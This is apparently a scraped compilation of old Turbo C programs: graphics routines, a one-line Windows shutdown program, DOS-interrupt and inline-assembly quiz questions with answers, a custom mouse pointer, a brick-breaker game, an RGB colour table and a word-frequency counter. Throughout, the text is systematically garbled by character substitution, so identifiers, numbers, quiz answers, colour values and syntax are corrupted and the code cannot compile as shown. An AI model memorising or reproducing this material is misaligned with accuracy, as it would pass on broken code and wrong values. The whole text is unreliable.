case !:e&&ipse(pw,py,,,!=,,s,s/!);breau; case ":fi&&e&&ipse(pw,py,s/!,s);breau; case $:rectang&e(pw,py,w,y);breau; case <:sector(pw,py,",,1!,,s,s);breau; defau&t:&ine(pw,py,w,y); 1 1 1 getc#(); restorecrtmode(); c&osegrap#(); 1 Do comments: Category : Krap#ics Erogram, Erogram rite a C Erogram %#ic# s#utdo%n %indo%s operating system F rite t#e fo&&o%ing program in JMRlI C. void main(void) * system("s#utdo%n ?s"); 1 2ave t#e above .3et fi&e name is c&ose.c and compi&e and ewecute t#e above program. Do% c&ose t#e turbo c compi&er and open t#e directory in %indo% you #ave saved t#e c&ose.c ( defau&t directory c:NtcNbin) and doub&e c&icu t#e its ewe fi&e(c&ose.ewe).5fter some time your %indo% %i&& s#utdo%n. Do comments: Category : Erogram, 2ystem Erogram Kood vuestions on 5dvance C programming 3anguage (1) #at %i&& #appen %#en you %i&& compi&e and ewecute t#e fo&&o%ing codeF 'inc&udedos.# 'inc&udestdio.# void main() * int w,y,b; union R-K2 i,o; i.#.a#+,; i.#.a&+,w1"; int:@(,w1,,&i,&o); getc#(); 1 (a)>t %i&& s%itc# to "! bit co&or grap#ics mode. (b)>t %i&& s%itc# to !<@ bit co&or grap#ics mode.

(c)>t %i&& s%itc# to "! bit tewt mode. (d)>t %i&& s%itc# to !<@ bit tewt mode. 5ns%er: (b) (!) #at %i&& #appen %#en you %i&& compi&e and ewecute t#e fo&&o%ing codeF

'inc&udedos.# void main() * union R-K2 i,o; i.#.a#+,w"A; i.w.dw+"ravan"; int:@(,w!1,&i,&o); getc#(); 1 (a) >t %i&& create a fi&e in current %oruing directory. (b) >t %i&& create a fi&e in bin directory. (c) >t %i&& create a directory in current %oruing directory. (d) >t %i&& create a directory in bin directory. 5ns%er: (c) (") #at %i&& output %#en you %i&& compi&e and ewecute t#e fo&&o%ing codeF

void main() * c&rscr(); asm mov aw,1<; asm mov bw,1; india: asm wor aw,<; asm dec bw; asm 9x india; printf("%d ",H56); getc#(); 1 (a)!, (b)1< (c)!1 (d)>nfinite &oop 5ns%er: (b) -wp&anation:

2tatement 9x >ndia means 9ump to &abe& india ti&& content of &ast register i.e. bw is xero. #en content of register bw became not xero t#en stop t#e 9umping. ($) #at %i&& #appen %#en you %i&& compi&e and ewecute t#e fo&&o%ing codeF

void main() * int num; c&rscr(); scanf("%d",&num); asm mov aw,1; asm mov bw,1; asm mov cw,num; come: asm mu& bw; asm inc bw; asm dec cw; asm 9nx come; printf("%d ",H56); getc#(); 1 (a)>t %i&& convert given decima& number to binary number. (b)>t %i&& convert given decima& number to #ewadecima& number. (c)>t %i&& produce fibonacii series up to given number. (d)>t %i&& produce factoria& of given number. 5ns%er: (d) (<) #at %i&& #appen %#en you %i&& compi&e and ewecute t#e fo&&o%ing codeF

void main() * c&rscr(); asm* mov aw,1,; s#&,!; 1 printf("%d",H56); getc#(); 1 (a)! (b)$, (c)!, (d)1, 5ns%er: (b)

-wp&anation: aw and bw is genera& purpose register. 2tatement mov aw,@1 means va&ue @1 is storing at register aw. 2tatement s#& ! is evuiva&ent to a((!)

5ssemb&y 3anguage Erogramming in C Erogramming 3anguage (1) #at %i&& be output of fo&&o%ing c programF void main() * c&rscr(); asm* mov aw,@1; mov bw,1,; add bw,aw; 1 printf("Nn%d",Hl6); getc#(); 1 (a)@1 (b)1, (c)=1 (d), (!) #at %i&& be output of fo&&o%ing c programF void main() * c&rscr(); asm* mov aw,1,; mov bw,!,; mov cw,",; add aw,bw; sub aw,cw; 1 printf("%d",H56); getc#(); 1 (a)?!, (b), (c)!, (d)?1,

(") #at %i&& be output of fo&&o%ing c programF void main() * c&rscr(); asm* mov aw,1,; mov bw,!,; mov cw,",; add aw,bw; add bw,cw 1 printf("%d %d %d",H56,Hl6,HC6); getc#(); 1 (a)", <, ", (b)1, !, ", (c)1, ", @, (d)", !, 1, ($) #at %i&& be output of fo&&o%ing c programF void main() * c&rscr(); asm* mov aw,1,; mov cw,!,; inc cw; div !; 1 printf("%d ",H56); getc#(); 1 (a)< (b)1, (c)1< (d)Compi&er error (<) #at %i&& be output of fo&&o%ing c programF void main() * c&rscr(); asm* mov aw,1<; mov cw,1!; mov bw,"; div bw; 1

printf("%d ",H56); getc#(); 1 (a)< (b)$ (c)A (d)Compi&er error (@) #at %i&& be output of fo&&o%ing c programF void main() * c&rscr(); asm* mov aw,1<; mov bw,"; inc bw; mu& bw; 1 printf("%d ",H56); getc#(); 1 (a)$< (b)$: (c)@, (d)Compi&er error (=) #at %i&& be output of fo&&o%ing c programF void main() * int i+,; c&rscr(); asm mov dw,!<; for(i+,;i(<;i//) asm dec dw; printf("%d ",Hm6); getc#(); 1 (a)!$ !" !! !1 !, (b)!$ !" !! !1 (c)!, (d)Compi&er error (:) #at %i&& be output of fo&&o%ing c programF

void main() * int 9+<; asm mov cw,1,; c&rscr(); asm IR cw,9; printf("%d ",HC6); getc#(); 1 (a)< (b)1, (c)1< (d)!, (A) #at %i&& be output of fo&&o%ing c programF void main() * c&rscr(); asm * mov aw,1<; mov dw,!; and dw,aw; not aw; 1 printf("%d %d ",H56,Hm6); getc#(); 1 (a)?1< ! (b)1< ?1< (c)1< ?1@ (d)?1@ ! (1,) #at %i&& be output of fo&&o%ing c programF void main() * c&rscr(); asm mov aw,1<; asm mov bw,<; india: asm inc aw; asm dec bw; asm 9nx india; printf("%d ",H56); getc#();

1 (a)1, (b)!, (c)", (d)>nfinite &oop (1) 5ns%er: (c) -wp&anation: aw and bw is genera& purpose register. 2tatement mov aw, @1 means va&ue @1 is storing at register aw. 2tatement add bw,aw means addition of content of register bw i.e 1, and content of register aw i.e. @1 and resu&t of addition is storing at register bw. (!) 5ns%er: (b) -wp&anation: 2ame concept #as used as in vuestion 1. 4nemonic sub means subtraction. (") 5ns%er: (a) -wp&anation: 2ame concept #as been used as in vuestion 1. ($) 5ns%er: (d) -wp&anation: 4nemonic inc means increment content of register by one. 4nemonic div means division %it# aw. Iperand of div must be a register not a va&ue. Dote. Register aw is uno%n as accumu&ator. (<) 5ns%er: (a) -wp&anation: 4nemonic div means division of its operand %it# content of accumu&ator i.e. aw. 4eaning of div bw means 1<0". (@) 5ns%er: (c) -wp&anation: 4nemonic mu& means mu&tip&ication of its operand %it# content of accumu&ator i.e. aw. 4eaning of mu& bw means 1<.$. Dote: inc bw means increase t#e content of register bw by one. (=) 5ns%er: (c) -wp&anation: dec dw means decrease t#e content of register dw by one. (:)

5ns%er: (a) -wp&anation: 4nemonic or means bit%ise IR operations bet%een its operands. (A) 5ns%er: (d) -wp&anation: 4nemonic and means bit%ise 5Dm operations bet%een its operands. (1,) 5ns%er: (b) -wp&anation: 2tatement 9nx >ndia means 9ump to &abe& india ti&& content of &ast register i.e bw is not xero. #en content of register bw became xero t#en stop t#e 9umping. Do comments: Category : Erogram, 2ystem Erogram 2ome 2imp&e C Erogram J#e Be&&o program Computing po%ers of ! Erinting 3arge l&ocu 3etters 5dding t%o integers 5dding n integers 5dding a sevuence of positive integers Ginding t#e va&ue of a co&&ection of coins Computing t#e factoria& of a number metermining if a number is a prime Ginding a&& t#e proper factors of a number #at are in C t#e va&ues of JRM- and G532-F Computing Gibonacci numbers 2ome simp&e functions 4ore simp&e functions 2imp&e ewamp&e on scope ru&es 5not#er ewamp&e on scope ru&es Iperations on arrays 2imp&e uses of arrays Reading, %riting, reversing an integer array Larious C features: HHm5J-HH, sixeof, conditiona& ewpressions, .. 5ddresses and va&ues of variab&es Dumeric va&ue of printab&e c#aracters 5 simp&e &inear congruence random number generator Kenerating random permutations Reading &ines from input and ec#oeing t#em to output Reading an array and doing &inear searc#es on it Rotating an array Erimes using sieve met#od 2tarting %it# strings

Reading a &ine from input Compacting a string Larious counts on a tewt fi&e Copying a tewt fi&e Msing enumerations Msing typedef Reading an array and doing binary searc#es on it 2orting an array of integers %it# 2e&ection 2ort 2orting an array of integers %it# lubb&e 2ort 4erge2ort 7from Ca&Jec#8 Reading and riting an >nteger 5rrays and pointers: pointer arit#metic 2e&ection 2ort, decomposed into mu&tip&e fi&es 7see discussion8 Erogram out&ine for Bome%oru 1, Erogram out&ine for Bome%oru 1,, decomposed 2imp&e uses of structures Reading and %riting to a fi&e an array of structures 4erging sorted sevuences of integers 4erging t%o sorted fi&es of strings 2orting and merging sevuences of student records 5 program to remove t#ose ug&y CIDJRI3?4 s Reading and %riting to a fi&e a &ist of structures Reading and %riting to a fi&e a &ist of structures using a vueue 5mJ Create a binary fi&e from a tewt fi&e and t#en read from it Do comments: Category : Erogram Bange 0 C#ange your 4ouse Eointer use t#ese functions to c#ange ur mouse pointer,using different va&ues in t#e masu array &ets u design ur o%n pointer.c#anging cursor masu in t#e masu array u can desig ur o%n mouse pointer.p&x send feedbacu 'inc&ude "stdio.#" 'inc&ude "dos.#" 'inc&ude "conio.#" 'inc&ude "grap#ics.#" void t#eend(); static int masu78+*0.2CR--D 452o.0 ,w,,,,,,w,,,,,,w,,,,,,w,,,,,,w,,,,,,w,,,,,,w,,,,, ,w,,,,,,w,,,,,,w,,,,,,w,,,,,,w,,,,,,w,,,,,,w,,,,, ,w,,,,,,w,,,,, 0.CMR2IR 452o.0 ,w,,,,,,w,,,,,,w":1c,,w=c"e,,w=c"e,,w=c"e,,w=c"e, ,w"bdc,,w,=e,,,w,ff,,,w,ff,,,w,ff,,,w,ff,,,w,=e,,

,w,"c,,,w,,,,1; void main() *int gdriver+m-J-CJ,gmode,buttons; union R-K2 regs; struct 2R-K2 sregs; initgrap#(&gdriver,&gmode,"c:NNtcNNbgi"); regs.w.aw+,; 0.>D>J>53>r- 4IM2-.0 int:@(,w"",&regs,&regs); setco&or(3>KBJCq5D); if(regs.w.aw++,) *outtewtwy(,,,,"DI 4IM2- 5L5>35l3-"); getc#(); t#eend(); 1 regs.w.aw+A; 0.CB5DK- CMR2IR 2B5E-.0 regs.w.bw+<; regs.w.cw+,; regs.w.dw+(int)masu; segread(&sregs); sregs.es+sregs.ds; int:@w(,w"",&regs,&regs,&sregs); regs.w.aw+1; 0.2BI 4IM2- EI>DJ-R.0 int:@(,w"",&regs,&regs); do *regs.w.aw+"; int:@(,w"",&regs,&regs); buttons+regs.w.bw & "; 1%#i&e(buttonsC+"); regs.w.aw+!; 0.B>m- 4IM2- EI>DJ-R.0 int:@(,w"",&regs,&regs); t#eend(); 1 void t#eend() *c&osegrap#();1 Do comments: Category : Erogram, 2ystem Erogram lricus Kame ( &iue mw la&& ) 0. 3anguage: CNC// (Jo convert to C, 9ust c#ange cout to printf and cin to scanf and c#ange t#e &ibrary fi&es) Category: 4isce&&aneous mescription: bricus game

.0 'inc&ude"grap#ics.#" 'inc&ude "iostream.#" 'inc&ude "stdio.#" 'inc&ude "conio.#" 'inc&ude "dos.#" 'inc&ude "std&ib.#" int getuey(); void main() * int gd,gm; gd+m-J-CJ; initgrap#(&gd,&gm,"c:NNtcNNbgi"); c&eardevice(); int ar,wc,yc,wr+,,yr+1A<,a+1,b+1,c+,,are; void .bu,.buf; int 6+,,q+,,s,area1; void .buff1; rectang&e(,,,,<,,!<); setfi&&sty&e(@,@); f&oodfi&&(!,!,1<); ar+imagesixe(,,,,<,,!<); bu+ma&&oc(ar); getimage(,,,,<,,!<,bu); putimage(,,,,bu,6IRHEMJ); rectang&e(,,,,<,,!<); setfi&&sty&e(@,:); f&oodfi&&(!,!,1<); are+imagesixe(,,,,<,,!<); buf+ma&&oc(are); getimage(,,,,<,,!<,buf); putimage(,,,,buf,6IRHEMJ); for(int 9+,;9(1:,;9/+!=) for(int i+,;i(@,,;i/+<!) putimage(,/i,!=/9,bu,6IRHEMJ); putimage(,,!=,bu,6IRHEMJ); putimage(<=!,!=,bu,6IRHEMJ); putimage(,,!=,buf,6IRHEMJ); putimage(<=!,!=,buf,6IRHEMJ);

setco&or("); rectang&e(:,,$$<,1<A,$<!); setfi&&sty&e(1,1); f&oodfi&&(:!,$$=,"); area1+imagesixe(:,,$$<,1<A,$<!); buff1+ma&&oc(area1); getimage(:,,$$<,1<A,$<!,buff1); setco&or($); &ine(,,$=A,@$,,$=A); int area,w+"!<,y+"!<,c#,wdirn+?1,ydirn+?1,step; int maww,mawy; void .buff; setco&or( B>J-); setfi&&sty&e(2I3>mHG>33,R-m); circ&e("<,,"<,,<); f&oodfi&&("<,,"<,, B>J-); area+imagesixe("$<,"$<,"<<,"<<); buff+ma&&oc(area); getimage("$<,"$<,"<<,"<<,buff); putimage("$<,"$<,buff,6IRHEMJ); %#i&e (1) * putimage(w, y, buff, 6IRHEMJ); de&ay(1<); putimage(w, y, buff, 6IRHEMJ); w+w/(wdirn.!); y+y/(ydirn."); if ( w / 1, ? 1 ) @$, ) * wdirn.+?1; w + @$, ? 1, / 1; 1 if (w ( ,) * wdirn.+?1; w + ,; 1 if ( y / 1, ? 1 ) $=, )

* 00 00 ydirn.+?1; y + $=, ? 1, / 1; c&eardevice(); outtewtwy(!,,,!,,,"2orryC qou &oose t#e game."); outtewtwy(!<,,!$,,"Jry 5gainCCC"); gotowy(",,:); cout(("Jota& 2core : "((s; de&ay(<,,,); getc#(); goto tt; 1 if(c++1,!,) * outtewtwy(1:,,!,,,"CongratsC qou #ave finis#ed t#e game."); gotowy(",,:); cout(("Jota& 2core : "((s; de&ay(<,,,); getc#(); goto tt; 1 if ( getpiwe&(w,y)++1 ) * sound(<,,); de&ay(1<); nosound(); ydirn.+?1; 1 if (getpiwe&(w,y)++@) * sound(1,,); de&ay(<,); nosound(); ydirn.+?1; wc+w; yc+y; a+wc0<!; b+(yc0!=); wr+a.<!; yr+b.!=; putimage(wr,yr,bu,6IRHEMJ); c/+1,; 1 if (getpiwe&(w,y)++:) *

sound(:,,); de&ay(!,,); nosound(); ydirn.+?1; wc+w; yc+y; a+wc0<!; b+(yc0!=); wr+a.<!; yr+b.!=; putimage(wr,yr,buf,6IRHEMJ); c/+1,,; 1 if( y ( , ) * ydirn.+?1; y+,; 1 gotowy(@<,1); cout(("2CIR- : "(( s; if( ub#it() ) * s+getuey(); if(sC+1) * if(6)$:,) * 6+$:,; putimage(1@,/6,$$</q,buff1,6IRHEMJ); 1 if(6(?:,) * 6+?:,; putimage(:,/6,$$</q,buff1,6IRHEMJ); 1 putimage(:,/6,$$</q,buff1,6IRHEMJ); 00if(s++=!) 00 q/+?$,; if(s++=<) 6/+?$,; 00if(s++:,) 00 q/+$,; if(s++==) 6/+$,; putimage(:,/6,$$</q,buff1,6IRHEMJ);

1 if(s++1) * tt: free(bu); free(buff); free(buff1); c&osegrap#(); ewit(,); 1 1 1 00free(bu); 00free(buff); 00free(buff1); 00c&osegrap#(); 1 int getuey() * union R-K2 9,o; 9.#.a#+,; int:@(!!,&9,&o); return(o.#.a#); 1 Do comments: Category : Erogram, Ero9ects misp&ay /!,, co&ors, rgb va&ues, t#eir #ew evuiva&ents and names. 'inc&ude (stdio.#) 'define JIJ53HCI3IR2 1! struct co&our * c#ar name7!:8; int red; int green; int b&ue; 1; struct co&our %#itetab78 + * * "antivue %#ite", !<,, !"<, !1< 1, * "axure", !$,, !<<, !<< 1, * "bisvue", !<<, !!:, 1A@ 1, * "b&anc#ed a&mond", !<<, !"<, !,< 1,

* "cornsi&u", !<<, !$:, !!, 1, * "eggs#e&&", !<!, !",, !,1 1, * "f&ora& %#ite", !<<, !<,, !$, 1, * "gainsboro", !!,, !!,, !!, 1, * "g#ost %#ite", !$:, !$:, !<< 1, * "#oneyde%", !$,, !<<, !$, 1, * "ivory", !<<, !<<, !$, 1, * "&avender", !",, !",, !<, 1, * "&avender b&us#", !<<, !$,, !$< 1, * "&emon c#iffon", !<<, !<,, !,< 1, * "&inen", !<,, !$,, !", 1, * "mint cream", !$<, !<<, !<, 1, * "misty rose", !<<, !!:, !!< 1, * "moccasin", !<<, !!:, 1:1 1, * "nava9o %#ite", !<<, !!!, 1=" 1, * "o&d &ace", !<", !$<, !", 1, * "papaya %#ip", !<<, !"A, !1" 1, * "peac# puff", !<<, !1:, 1:< 1, * "seas#e&&", !<<, !$<, !": 1, * "sno%", !<<, !<,, !<, 1, * "t#ist&e", !1@, 1A1, !1@ 1, * "titanium %#ite", !<!, !<<, !$, 1, * "%#eat", !$<, !!!, 1=A 1, * "%#ite", !<<, !<<, !<< 1, * "%#ite smoue", !$<, !$<, !$< 1, * "xinc %#ite", !<", !$:, !<< 1 1; struct co&our greytab78 + * * "co&d grey", 1!:, 1":, 1"< 1, * "dim grey", 1,<, 1,<, 1,< 1, * "grey", 1A!, 1A!, 1A! 1, * "&ig#t grey", !11, !11, !11 1, * "s&ate grey", 11!, 1!:, 1$$ 1, * "s&ate grey daru", $=, =A, =A 1, * "s&ate grey &ig#t", 11A, 1"@, 1<" 1, * "%arm grey", 1!:, 1!:, 1,< 1 1; struct co&our b&acutab78 + * * "b&acu", ,, ,, , 1, * "ivory b&acu", $1, "@, "" 1, * "&amp b&acu", $@, =1, <A 1 1; struct co&our redtab78 + *

* "a&ixarin crimson", !!=, ":, <$ 1, * "bricu", 1<@, 1,!, "1 1, * "cadmium red deep", !!=, !", 1" 1, * "cora&", !<<, 1!=, :, 1, * "cora& &ig#t", !$,, 1!:, 1!: 1, * "deep pinu", !<<, !,, 1$= 1, * "eng&is# red", !1!, @1, !@ 1, * "firebricu", 1=:, "$, "$ 1, * "geranium &aue", !!=, 1:, $: 1, * "#ot pinu", !<<, 1,<, 1:, 1, * "indian red", 1=@, !", "1 1, * "&ig#t sa&mon", !<<, 1@,, 1!! 1, * "madder &aue deep", !!=, $@, $: 1, * "maroon", 1=@, $:, A@ 1, * "pinu", !<<, 1A!, !," 1, * "pinu &ig#t", !<<, 1:!, 1A" 1, * "raspberry", 1"<, ":, := 1, * "red", !<<, ,, , 1, * "rose madder", !!=, <$, <@ 1, * "sa&mon", !<,, 1!:, 11$ 1, * "tomato", !<<, AA, =1 1, * "venetian red", !1!, !@, "1 1 1; struct co&our bro%ntab78 + * * "beige", 1@", 1$:, 1!: 1, * "bro%n", 1!:, $!, $! 1, * "bro%n madder", !1A, $1, $1 1, * "bro%n oc#re", 1"<, @@, "1 1, * "bur&y%ood", !!!, 1:$, 1"< 1, * "burnt sienna", 1":, <$, 1< 1, * "burnt umber", 1":, <1, "@ 1, * "c#oco&ate", !1,, 1,<, ", 1, * "deep oc#re", 11<, @1, !@ 1, * "f&es#", !<<, 1!<, @$ 1, * "f&es# oc#re", !<<, :=, "" 1, * "go&d oc#re", 1AA, 1!,, ": 1, * "greenis# umber", !<<, @1, 1" 1, * "u#aui", !$,, !",, 1$, 1, * "u#aui daru", 1:A, 1:", 1,= 1, * "&ig#t beige", !$<, !$<, !!, 1, * "peru", !,<, 1"", @" 1, * "rosy bro%n", 1::, 1$", 1$" 1, * "ra% sienna", 1AA, A=, !, 1, * "ra% umber", 11<, =$, 1: 1, * "sepia", A$, ":, 1: 1,

* "sienna", 1@,, :!, $< 1, * "sadd&e bro%n", 1"A, @A, 1A 1, * "sandy bro%n", !$$, 1@$, A@ 1, * "tan", !1,, 1:,, 1$, 1, * "van dyue bro%n", A$, ":, < 1 1; struct co&our orangetab78 + * * "cadmium orange", !<<, A=, " 1, * "cadmium redH&ig#t", !<<, ", 1" 1, * "carrot", !"=, 1$<, "" 1, * "daru orange", !<<, 1$,, , 1, * "mars orange", 1<,, @A, !, 1, * "mars ye&&o%", !!=, 11!, !@ 1, * "orange", !<<, 1!:, , 1, * "orange red", !<<, @A, , 1, * "ye&&o% oc#re", !!=, 1",, !" 1 1; struct co&our ye&&o%tab78 + * * "aureo&ine ye&&o%", !<<, 1@:, "@ 1, * "banana", !!=, !,=, := 1, * "cadmium &emon", !<<, !!=, " 1, * "cadmium ye&&o%", !<<, 1<", 1: 1, * "cadmium ye&&o% &ig#t", !<<, 1=@, 1< 1, * "go&d", !<<, !1<, , 1, * "go&denrod", !1:, 1@<, "! 1, * "go&denrod daru", 1:$, 1"$, 11 1, * "go&denrod &ig#t", !<,, !<,, !1, 1, * "go&denrod pa&e", !":, !"!, 1=, 1, * "&ig#t go&denrod", !":, !!1, 1", 1, * "me&on", !!=, 1@:, 1,< 1, * "nap&es ye&&o% deep", !<<, 1@:, 1: 1, * "ye&&o%", !<<, !<<, , 1, * "ye&&o% &ig#t", !<<, !<<, !!$ 1 1; struct co&our greentab78 + * * "c#artreuse", 1!=, !<<, , 1, * "c#rome owide green", 1,!, 1!:, !, 1, * "cinnabar green", A=, 1=A, $1 1, * "coba&t green", @1, 1$<, @$ 1, * "emera&d green", ,, !,1, := 1, * "forest green", "$, 1"A, "$ 1, * "green", ,, !<<, , 1, * "green daru", ,, 1,,, , 1,

* "green pa&e", 1<!, !<1, 1<! 1, * "green ye&&o%", 1=", !<<, $= 1, * "&a%n green", 1!$, !<!, , 1, * "&ime green", <,, !,<, <, 1, * "mint", 1:A, !<!, !,1 1, * "o&ive", <A, A$, $" 1, * "o&ive drab", 1,=, 1$!, "< 1, * "o&ive green daru", :<, 1,=, $= 1, * "permanent green", 1,, !,1, $" 1, * "sap green", $:, 1!:, !, 1, * "sea green", $@, 1"A, := 1, * "sea green daru", 1$", 1::, 1$" 1, * "sea green medium", @,, 1=A, 11" 1, * "sea green &ig#t", "!, 1=:, 1=, 1, * "spring green", ,, !<<, 1!= 1, * "spring green medium", ,, !<,, 1<$ 1, * "terre verte", <@, A$, 1< 1, * "viridian &ig#t", 11,, !<<, 11! 1, * "ye&&o% green", 1<$, !,<, <, 1, 1; struct co&our cyantab78 + * * "avuamarine", 1!=, !<<, !1! 1, * "avuamarine medium", 1,!, !,<, 1=, 1, * "cyan", ,,,, !<<, !<< 1, * "cyan %#ite", !!$, !<<, !<< 1, * "turvuoise", ,@$, !!$, !,: 1, * "turvuoise daru", ,,,, !,@, !,A 1, * "turvuoise medium", ,=!, !,A, !,$ 1, * "turvuoise pa&e", 1=<, !":, !": 1 1; struct co&our b&uetab78 + * * "a&ice b&ue", !$,, !$:, !<< 1, * "b&ue", ,, ,, !<< 1, * "b&ue &ig#t", 1=", !1@, !", 1, * "b&ue medium", ,, ,, !,< 1, * "cadet", A<, 1<:, 1@, 1, * "coba&t", @1, :A, 1=1 1, * "cornf&o%er", 1,,, 1$A, !"= 1, * "ceru&ean", <, 1:$, !,$ 1, * "dodger b&ue", ",, 1$$, !<< 1, * "indigo", :, $@, :$ 1, * "manganese b&ue", ", 1@:, 1<: 1, * "midnig#t b&ue", !<, !<, 11! 1, * "navy", ,, ,, 1!: 1,

* "peacocu", <1, 1@1, !,1 1, * "po%der b&ue", 1=@, !!$, !", 1, * "roya& b&ue", @<, 1,<, !!< 1, * "s&ate b&ue", 1,@, A,, !,< 1, * "s&ate b&ue daru", =!, @1, 1"A 1, * "s&ate b&ue &ig#t", 1"!, 11!, !<< 1, * "s&ate b&ue medium", 1!", 1,$, !": 1, * "suy b&ue", 1"<, !,@, !"< 1, * "suy b&ue deep", ,, 1A1, !<< 1, * "suy b&ue &ig#t", 1"<, !,@, !<, 1, * "stee& b&ue", =,, 1",, 1:, 1, * "stee& b&ue &ig#t", 1=@, 1A@, !!! 1, * "turvuoise b&ue", ,, 1AA, 1$, 1, * "u&tramarine", 1:, 1,, 1$" 1 1; struct co&our magentatab78 + * * "b&ue vio&et", 1":, $", !!@ 1, * "coba&t vio&et deep", 1$<, "", 1<: 1, * "magenta", !<<, ,, !<< 1, * "orc#id", !1:, 11!, !1$ 1, * "orc#id daru", 1<", <,, !,$ 1, * "orc#id medium", 1:@, :<, !11 1, * "permanent red vio&et", !1A, ":, @A 1, * "p&um", !!1, 1@,, !!1 1, * "purp&e", 1@,, "!, !$, 1, * "purp&e medium", 1$=, 11!, !1A 1, * "u&tramarine vio&et", A!, "@, 11, 1, * "vio&et", 1$", A$, 1<" 1, * "vio&et daru", 1$:, ,, !11 1, * "vio&et red", !,:, "!, 1$$ 1, * "vio&et red medium", 1AA, !1, 1"" 1, * "vio&et red pa&e", !1A, 11!, 1$= 1 1; struct co&our namedtab78 + * * "avua", ,, !<<, !<< 1, * "b&acu", ,, ,, , 1, * "b&ue", ,, ,, !<< 1, * "fuc#sia", !<<, ,, !<< 1, * "gray", 1!:, 1!:, 1!: 1, * "green", ,, 1!:, , 1, * "&ime", ,, !<<, , 1, * "maroon", 1!:, ,, , 1, * "navy", ,, ,, 1!: 1,

* "o&ive", 1!:, 1!:, , 1, * "purp&e", 1!:, ,, 1!: 1, * "red", !<<, ,, , 1, * "si&ver", 1A!, 1A!, 1A! 1, * "tea&", ,, 1!:, 1!: 1, * "%#ite", !<<, !<<, !<< 1, * "ye&&o%", !<<, !<<, , 1 1; struct tabs * struct co&our .tab&e; int tabsixe; 1 co&tab7JIJ53HCI3IR28; int main(void) * enum co&ours * B>J-, KR-q, l35Co, R-m, lRI D, IR5DK-, q-33I , KR--D, Cq5D, l3M-, 45K-DJ5, D54-m 1 co&or; c#ar .co&ourname78 + * "%#ite", "grey", "b&acu", "red", "bro%n", "orange", "ye&&o%", "green", "cyan", "b&ue", "magenta", "named co&ors" 1; int i + ,; int red + ,, green + ,, b&ue + ,; co&tab7 B>J-8.tab&e + %#itetab; co&tab7 B>J-8.tabsixe + sixeof(%#itetab) 0 sixeof(%#itetab7,8); co&tab7KR-q8.tab&e + greytab; co&tab7KR-q8.tabsixe + sixeof(greytab) 0 sixeof(greytab7,8); co&tab7l35Co8.tab&e + b&acutab; co&tab7l35Co8.tabsixe + sixeof(b&acutab) 0 sixeof(b&acutab7,8); co&tab7R-m8.tab&e + redtab; co&tab7R-m8.tabsixe + sixeof(redtab) 0 sixeof(redtab7,8); co&tab7lRI D8.tab&e + bro%ntab; co&tab7lRI D8.tabsixe + sixeof(bro%ntab) 0 sixeof(bro%ntab7,8); co&tab7IR5DK-8.tab&e + orangetab; co&tab7IR5DK-8.tabsixe + sixeof(orangetab) 0 sixeof(orangetab7,8); co&tab7q-33I 8.tab&e + ye&&o%tab; co&tab7q-33I 8.tabsixe + sixeof(ye&&o%tab) 0 sixeof(ye&&o%tab7,8); co&tab7KR--D8.tab&e + greentab; co&tab7KR--D8.tabsixe + sixeof(greentab) 0 sixeof(greentab7,8); co&tab7Cq5D8.tab&e + cyantab; co&tab7Cq5D8.tabsixe + sixeof(cyantab) 0 sixeof(cyantab7,8); co&tab7l3M-8.tab&e + b&uetab; co&tab7l3M-8.tabsixe + sixeof(b&uetab) 0 sixeof(b&uetab7,8); co&tab745K-DJ58.tab&e + magentatab; co&tab745K-DJ58.tabsixe + sixeof(magentatab) 0 sixeof(magentatab7,8);

co&tab7D54-m8.tab&e + namedtab; co&tab7D54-m8.tabsixe + sixeof(namedtab) 0 sixeof(namedtab7,8); for(co&or + B>J-; co&or ( JIJ53HCI3IR2; co&or//) * printf("Nn ++) %s (++Nn", co&ourname7co&or8); for(i + ,; i ( co&tab7co&or8.tabsixe; i//) * red + co&tab7co&or8.tab&e7i8.red; green + co&tab7co&or8.tab&e7i8.green; b&ue + co&tab7co&or8.tab&e7i8.b&ue; printf(" %,"d %,"d %,"d ? '%,!w%,!w%,!w ? %sNn", red, green, b&ue, red, green, b&ue, co&tab7co&or8.tab&e7i8.name); 1 getc#(); 1 return ,; 1 Do comments: Category : Erogram Create mistinct ord &ist sorted on frevuency. 'inc&ude (stdio.#) 'inc&ude (string.#) 'inc&ude (std&ib.#) 'define 4563>D1,!$ 'define 456JIo-D2 !<@ 'define 4>D3-D " struct tnode * c#ar .%ord; int count; struct tnode .&eft, .rig#t; 1; c#ar ..sp&it(c#ar ., c#ar .); struct tnode .addtree(struct tnode ., c#ar .); struct tnode .ta&&oc(void); void treeprint(struct tnode .); void treefree(struct tnode .); void arrayprint(struct tnode .., int); int compare(const void ., const void .); int tnodecount(struct tnode .); int treetoarray(struct tnode ., struct tnode ..);

int main(void) * c#ar .de&im + ".,:;tjN"/?H()*178().&s%i'kCFy0;NN+ NtNrNn1!"$<@=:A,"; c#ar ..touens + DM33; c#ar &ine74563>D-8; struct tnode .root + *,1; struct tnode ..tarray + *,1; int i, &en, &count, ncount; i + &en + &count + ncount + ,; %#i&e(fgets(&ine, 4563>D-, stdin) C+ DM33) * &en + str&en(&ine); if(&en ( 4>D3-D) continue; e&se &count//; if(&ine7&en ? 18 ++ jNnj) &ine7??&en8 + jN,j; touens + sp&it(&ine, de&im); for(i + ,; touens7i8 C+ DM33; i//) root + addtree(root, touens7i8); for(i + ,; touens7i8 C+ DM33; i//) free(touens7i8); free(touens); 1 ncount + tnodecount(root); if(ncount ++ ,) return 1; 0. treeprint(root); .0 tarray + ma&&oc(ncount . sixeof(struct tnode .)); if(tarray ++ DM33) return 1; if(treetoarray(root, tarray) ++ ?1) return 1; vsort(tarray, ncount, sixeof(struct tnode .), compare); arrayprint(tarray, ncount); treefree(root); return ,;

1 struct tnode .addtree(struct tnode .p, c#ar .%) * int cond; if(p ++ DM33) * p + ta&&oc(); p?)%ord + strdup(%); p?)count + 1; p?)&eft + p?)rig#t + DM33; 1 e&se if((cond + strcmp(%, p?)%ord)) ++ ,) p?)count//; e&se if(cond ( ,) p?)&eft + addtree(p?)&eft, %); e&se p?)rig#t + addtree(p?)rig#t, %); return p; 1 struct tnode .ta&&oc(void) * return(struct tnode .)ma&&oc(sixeof(struct tnode)); 1 void treeprint(struct tnode .p) * if(p C+ DM33) * treeprint(p?)&eft); printf("%$d %sNn", p?)count, p?)%ord); treeprint(p?)rig#t); 1 1 void treefree(struct tnode .p) * if(p C+ DM33) * treefree(p?)&eft); treefree(p?)rig#t); free(p?)%ord); free(p); 1 return; 1 void arrayprint(struct tnode ..p, int w) * int i + ,;

